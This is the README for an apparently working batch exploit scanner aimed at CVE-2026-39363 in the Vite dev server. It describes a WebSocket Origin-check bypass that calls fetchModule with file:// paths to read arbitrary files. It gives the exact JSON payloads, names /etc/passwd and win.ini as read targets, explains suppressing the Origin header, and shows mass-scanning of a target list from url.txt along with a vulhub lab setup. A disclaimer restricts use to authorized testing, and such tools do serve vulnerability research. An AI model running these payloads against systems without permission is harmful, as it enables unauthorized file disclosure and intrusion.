
Пакетный сканер уязвимостей для CVE-2026-39363 в dev-сервере Vite, эксплуатирующий обход проверки источника WebSocket для чтения произвольных файлов через fetchModule с протоколом file://.
Отказ от ответственности: Этот инструмент предназначен только для авторизованного тестирования безопасности и образовательных исследований. Пользователь обязан соблюдать местные законы и нормативные акты; несанкционированное сканирование или атака на чужие системы является противоправным действием. Автор не несёт ответственности за любое злоупотребление.
В dev-сервере Vite (6.0.0 ~ 6.4.1, 7.0.0 ~ 7.3.1, 8.0.0 ~ 8.0.4) HMR WebSocket не проверяет заголовок Origin. Атакующий может через событие vite:invoke вызвать fetchModule, используя протокол file:// вместе с параметром ?raw, чтобы обойти ограничение server.fs.allow и прочитать произвольные файлы на сервере.
url.txt → http://host:port
↓ парсинг host + port
↓
┌─ Шаг 1: попытка ws://host:указанный_порт
│ ├─ рукопожатие WebSocket успешно + exploit успешен → уязвимость присутствует
│ └─ неудача → если указанный_порт == 5173 → уязвимость отсутствует
│
└─ Шаг 3: проверка host:5173 (только если указанный_порт ≠ 5173)
├─ порт закрыт → уязвимость отсутствует
└─ порт открыт → рукопожатие WebSocket + exploit на 5173
├─ успех → уязвимость присутствует
└─ неудача → уязвимость отсутствует
pip install -r requirements.txt
Чтобы включить прокси, раскомментируйте строки 26–27 скрипта
# Чтобы включить прокси, раскомментируйте две строки ниже и укажите корректный адрес и порт прокси
# os.environ["HTTP_PROXY"] = "http://127.0.0.1:8083"
# os.environ["HTTPS_PROXY"] = "http://127.0.0.1:8083"
Запишите целевые URL в url.txt, по одному на строку:
http://192.168.1.100:5173
http://example.com
http://target.cn:8080
python cve_2026_39363.py
Терминал:
[*] Loaded 3 URL(s), scanning with 3 thread(s)...
http://192.168.1.100:5173 存在漏洞 (Linux)
http://example.com 存在漏洞 (Linux)
http://target.cn:8080 不存在漏洞
[*] Done. 2/3 vulnerable, elapsed 3.2s
[*] Results saved to result.txt
result.txt:
http://192.168.1.100:5173 (Linux)
http://example.com:5173 (Linux)
Каждая строка содержит тип POC (
Linux/Windows), указывающий на особенности успешно прочитанного файла.
| Целевая система | Читаемый файл | Характерный признак |
|---|---|---|
| Linux | file:///etc/passwd?raw | root: |
| Windows | file:///C:/Windows/win.ini?raw | for 16-bit app support |
Поддерживаются два формата payload (пробуются по порядку):
{"id":"send:0","name":"fetchModule","data":[file_path]}{"fn":"fetchModule","args":[file_path]}| Параметр | Значение | Причина |
|---|---|---|
| Подпротокол | vite-hmr | Требование Vite HMR WebSocket |
| Origin | Подавление отправки (suppress_origin=True) | Vite отклоняет небраузерные подключения с заголовком Origin |
# Запуск
docker run -d --name vite-vuln -p 5173:5173 vulhub/vite:7.3.1
# Сканирование
echo "http://127.0.0.1:5173" > url.txt
python cve_2026_39363.py
# Очистка
docker stop vite-vuln && docker rm vite-vuln
В: Все проверки возвращают «уязвимость отсутствует»?
--host или server.host для доступа из сетиWebSocket не отключён параметром server.ws: falseВ: На Windows вывод содержит кракозябры?
В: Сгенерированный в PowerShell url.txt не парсится?
utf-8-sig для автоматического пропуска BOM